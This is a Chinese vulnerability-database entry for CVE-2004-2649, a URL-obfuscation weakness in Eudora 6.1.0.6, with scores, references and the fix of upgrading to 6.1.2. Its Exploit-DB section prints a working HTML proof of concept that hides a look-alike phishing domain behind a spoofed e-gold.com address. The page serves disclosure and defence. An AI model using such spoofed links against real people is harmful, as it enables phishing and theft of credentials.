CVE-2004-2649
CVSS5.8
发布时间 :2004-12-31 00:00:00
修订时间 :2008-09-10 15:34:19
NMCOE    

[原文]Eudora 6.1.0.6 allows remote attackers to obfuscate URLs displayed in the status bar by inserting a large number of characters (e.g. spaces coded as "&#32") in the middle of the URL.


[CNNVD]Qualcomm Eudora Embedded Hyperlink URI模糊漏洞(CNNVD-200412-676)

        Eudora 6.1.0.6版本存在漏洞。远程攻击者可以通过在URL中间插入大量字符(如:编码为" "的空格)来使显示在状态栏中URLs模糊。

- CVSS (基础分值)

CVSS分值: 5.8 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: MEDIUM [漏洞利用存在一定的访问条件]
攻击向量: NETWORK [攻击者不需要获取内网访问权或本地访问权]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-20 [输入验证不恰当]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2649
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-2649
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200412-676
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/xforce/xfdb/16105
(PATCH)  XF  eudora-url-spoofing(16105)
http://www.osvdb.org/6009
(PATCH)  OSVDB  6009
http://www.eudora.com/download/eudora/windows/6.1.2/RelNotes.txt
(PATCH)  CONFIRM  http://www.eudora.com/download/eudora/windows/6.1.2/RelNotes.txt
http://www.securityfocus.com/bid/10305
(UNKNOWN)  BID  10305
http://securitytracker.com/alerts/2004/May/1010117.html
(UNKNOWN)  SECTRACK  1010117
http://secunia.com/advisories/11581
(VENDOR_ADVISORY)  SECUNIA  11581
http://archives.neohapsis.com/archives/bugtraq/2004-05/0066.html
(UNKNOWN)  BUGTRAQ  20040508 Status bar exploit hides spoofed URLs Eudora, possibly other e-mail clients

- 漏洞信息

Qualcomm Eudora Embedded Hyperlink URI模糊漏洞
中危 其他
2004-12-31 00:00:00 2007-03-30 00:00:00
远程  
        Eudora 6.1.0.6版本存在漏洞。远程攻击者可以通过在URL中间插入大量字符(如:编码为" "的空格)来使显示在状态栏中URLs模糊。

- 公告与补丁

        Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com .

- 漏洞信息 (24098)

Qualcomm Eudora 6.x Embedded Hyperlink URI Obfuscation Weakness (EDBID:24098)
windows remote
2004-05-08 Verified
0 Brett Glass
N/A [点击下载]
source: http://www.securityfocus.com/bid/10305/info

It has been reported that the Qualcomm Eudora MTA is prone to a URI obfuscation weakness that may hide the true contents of a link. The problem occurs when a user@location URI is formatted in such a way that a "^A" control character is located after the user value. The user value may then be appended with space characters to obfuscate status bar and mouseover details. It is said that, when doing a mouseover of such a URI, it will cause the status bar to only display the contents of the user value, not the entire link.

<a href="http://www.e-gold.com^A
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
&#32&#32&#32&#32&#32&#32&#32&#32&#32&#32
@example.com/"><span lang=EN-US
style='mso-ansi-language:EN-US'>http://www.e-gold.com/alert</span></a><br>

Where example.com, reads egegold.com.		

- 漏洞信息

6009
Eudora Long URL Status Bar Obfuscation
Remote / Network Access Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public

- 漏洞描述

Qualcomm Eudora contains a flaw that may allow a malicious user to disguise a URL. The issue is triggered when an overly long URL is used. It is possible that the flaw may grant a malicious user the ability to trick a user into visiting an unexpected site resulting in a loss of confidentiality and/or integrity.

- 时间线

2004-05-08 Unknow
2004-05-08 Unknow

- 解决方案

Upgrade to version 6.1.2 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

 

 

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